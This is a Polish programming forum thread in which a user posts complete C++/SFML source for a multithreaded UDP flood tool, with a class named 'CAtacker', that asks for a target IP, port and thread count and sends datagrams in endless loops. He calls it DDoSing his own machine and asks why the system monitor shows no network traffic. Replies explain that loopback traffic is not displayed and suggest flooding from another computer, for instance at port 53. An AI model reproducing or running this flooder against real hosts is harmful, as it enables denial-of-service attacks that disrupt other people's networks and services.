Statystyka monitora systemu nie pokazuje danych wysyłanych przez aplikację

0

Witam

Napisałem sobie aplikacje wielowątkową której zadaniem jest wysyłać datagramy na dany port komputera o wskazanym IP.
Napisałem, działa. Problem (jeżeli tak to można nazwać) nie jest typowo programistyczny.
Właściwie jest to raczej pytanie: Dlaczego jeżeli DDoSuje samego siebie to wysyłane dane nie są widoczne w monitorze/menadżerze systemu ?

Język C++, użyłem SFML, aplikacje testowałem na Windowssie i GNU/Linux Mint 17.3 Cinnamon.
Załączam zdjęcia:
Zrzut ekranu z 2016-05-24 1950.png

Na Windowsie 7 widać tylko obciążenie procka 100% a uzycie sieci leży.
Dołączam kod żródłowy:

 #include <SFML/Network.hpp>
#include <SFML/System.hpp>
#include <SFML/Main.hpp>
#include <SFML/Graphics.hpp>

#include <include/atacker.hpp>

#include <iostream>
/*
1 [Poprawka] krytyczna [CENSORED ....]
*/
int main()
{
    char data[50] = "TEST";
    sf::IpAddress IP_Computer;
    unsigned short targetPort;
    uint64_t numberThreads;

    std::cout << "Podaj IP atakowanego" << std::endl;
    std::cin >> IP_Computer;

    std::cout << "Podaj port" << std::endl;
    std::cin >> targetPort;

    std::cout << "Ilosc watkow" << std::endl;
    std::cin >> numberThreads;

    CAtacker * atackers = new CAtacker[numberThreads];

    for(unsigned int i = 0;i < numberThreads;i++)
    {
        atackers[i].init(data,50,targetPort,IP_Computer);
        atackers[i].launch();
    }
    while(!sf::Keyboard::isKeyPressed(sf::Keyboard::Escape))
    {

    }

    return EXIT_SUCCESS;
}
 
#include <include/atacker.hpp>
#include <iostream>

CAtacker::CAtacker()
{
}
void CAtacker::init(void * _data,size_t _sizeDataToSend,uint16_t _port,sf::IpAddress _target)
{
    m_ptrToData = _data;
    m_sizeData = _sizeDataToSend;
    m_port = _port;
    m_target = _target;
}
CAtacker::~CAtacker()
{
    delete m_thread;
}
void CAtacker::launch()
{
    m_thread = new std::thread(&CAtacker::run,this);
    std::cout << "Thread: " << m_thread->get_id() << " was started" << std::endl;
    //m_thread->detach();
}
void CAtacker::terminate()
{
    delete m_thread;
}
void CAtacker::run()
{
    while(1)
    {
        if (m_socket.send(m_ptrToData, m_sizeData, m_target, m_port) != sf::Socket::Done)
        {
            std::cout << "Can't sent datagram - thread: " << m_thread->get_id() << std::endl;
        }
    }
}
 
#ifndef ATACKER_HPP_INCLUDED
#define ATACKER_HPP_INCLUDED

#include <SFML/Network.hpp>
#include <SFML/System.hpp>
#include <SFML/Main.hpp>
#include <SFML/Graphics.hpp>
#include <thread>

class CAtacker final
{
public:
    CAtacker();
   ~CAtacker();
    void init(void * _data,size_t _sizeDataToSend,uint16_t _port,sf::IpAddress _target);
    void launch();
    void terminate();
private:
    void run();

    void *        m_ptrToData;
    uint16_t      m_port;
    size_t        m_sizeData;
    sf::UdpSocket m_socket;
    sf::IpAddress m_target;
    std::thread * m_thread;
};

#endif // ATACKER_HPP_INCLUDED
0

Hej, abstrahując troszeczkę:
Możesz sobie łatwo wyrządzić dużo szkody w ten sposób próbując operować na wątkach.

Jest 2016, użyj frameworka do aktorów.

http://www.actor-framework.org/

2

W linuxie, wysyłasz pakiety na loop'a. Nic dziwnego, że nie widzisz użycia sieci, bo zwyczajnie ten monitor tego nie pokazuje. Masz tam przepustowość równą możliwości obliczeniowej swojego komputera. Zrób to z innego komputera, najlepiej na otwarty port, może być 53.

1 użytkowników online, w tym zalogowanych: 0, gości: 1